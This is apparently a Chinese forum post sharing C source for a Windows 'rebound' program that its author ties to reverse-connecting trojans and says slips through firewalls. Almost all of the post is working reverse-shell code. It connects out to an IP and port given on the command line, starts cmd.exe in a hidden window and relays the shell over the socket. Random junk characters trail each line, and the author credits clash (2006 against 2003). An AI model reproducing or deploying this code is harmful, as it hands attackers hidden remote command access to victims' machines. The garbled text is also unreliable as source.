这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 sv\=/F@n
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/* ============================== VdL }$CX$
Rebound port in Windows NT Kt"4<'
By wind,2006/7 Us>n`Lj@
===============================*/ '
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#include JQ]MkP
#include [#:yOZt
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#pragma comment(lib,"wsock32.lib") sY}0PB
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void OutputShell(); D_w<igu!3
SOCKET sClient; `V[ hE
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char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; q^[SN
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void main(int argc,char **argv) Qeq=4Nq
{ RHt~:D3*
WSADATA stWsaData; BJZGQrsz
int nRet; eTtiAF=bW
SOCKADDR_IN stSaiClient,stSaiServer; ;Qlb].td
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if(argc != 3) C*Y0GfW=
{ E3_ 5~>
printf("Useage:\n\rRebound DestIP DestPort\n"); HhTD/
return; -K5u5l}
} m?1AgsBR
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WSAStartup(MAKEWORD(2,2),&stWsaData); aQ1n1OBr
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); Q(hAV
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stSaiClient.sin_family = AF_INET; #W L>ha
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stSaiClient.sin_port = htons(0); !8J%%Ux&M
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); yMb.~A^$J
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) =vKSvQP@)
{ ?d)eri8,
printf("Bind Socket Failed!\n"); YQ}IE[J}v
return; c/G^}d%
} +|O&k
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stSaiServer.sin_family = AF_INET; _^w^tfH]
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); X5P1wxk'
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); 7(zY:9|(
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) "3a_C,\
{ ~uO9>(?D
printf("Connect Error!"); m\|ie8
return; kQtnT7
} I9jzR~T
OutputShell(); Z&y9m@
} /}-LaiS
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void OutputShell() `H|#l\
{ _
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char szBuff[1024]; `vrLFPdO
SECURITY_ATTRIBUTES stSecurityAttributes; ZOHGGO]1M
OSVERSIONINFO stOsversionInfo; `S/;S<';
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; a#P{ [
STARTUPINFO stStartupInfo; r1xhplHH@
char *szShell; |uln<nM9
PROCESS_INFORMATION stProcessInformation; izP>w*/nO
unsigned long lBytesRead; -Wl79lE
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); (wEaw|Zx
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); PPj0LFA
stSecurityAttributes.lpSecurityDescriptor = 0; f.u+({"ql
stSecurityAttributes.bInheritHandle = TRUE; ^Hv4t
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); f!##R-A
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); G(7WUMjl
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); C%kIxa)
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; o[K,(
stStartupInfo.wShowWindow = SW_HIDE; |1"n\4$
stStartupInfo.hStdInput = hReadPipe; h-RL`X
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; +#
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GetVersionEx(&stOsversionInfo); ]s:%joj%^
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switch(stOsversionInfo.dwPlatformId) ;*8,PV0b_<
{ !qVnziE,,
case 1: 8 gzf$Oc
szShell = "command.com"; p EbyQ[
break; /%T d(
default: .t|B6n!
szShell = "cmd.exe"; VpmD1YSn
break; '"Y(2grP
} CN<EgNt1kN
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); ir3EA'_>N
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send(sClient,szMsg,77,0); SW_jTn#x
while(1) x1R<oB|
{ \#)w$O
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); =GSe$f?
if(lBytesRead) 5IiZnGu
{ %13V@'e9
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); :B]yreg
send(sClient,szBuff,lBytesRead,0); f8836<c
} @t?uhT*Z=
else Eh&HN-&
{ H)l7:a
lBytesRead=recv(sClient,szBuff,1024,0); I Z{DR
if(lBytesRead<=0) break; /%w3(e
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); GbN|!,X1m
} l^%W/b>?b
} K';x2ffj
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return; eww/tG a
}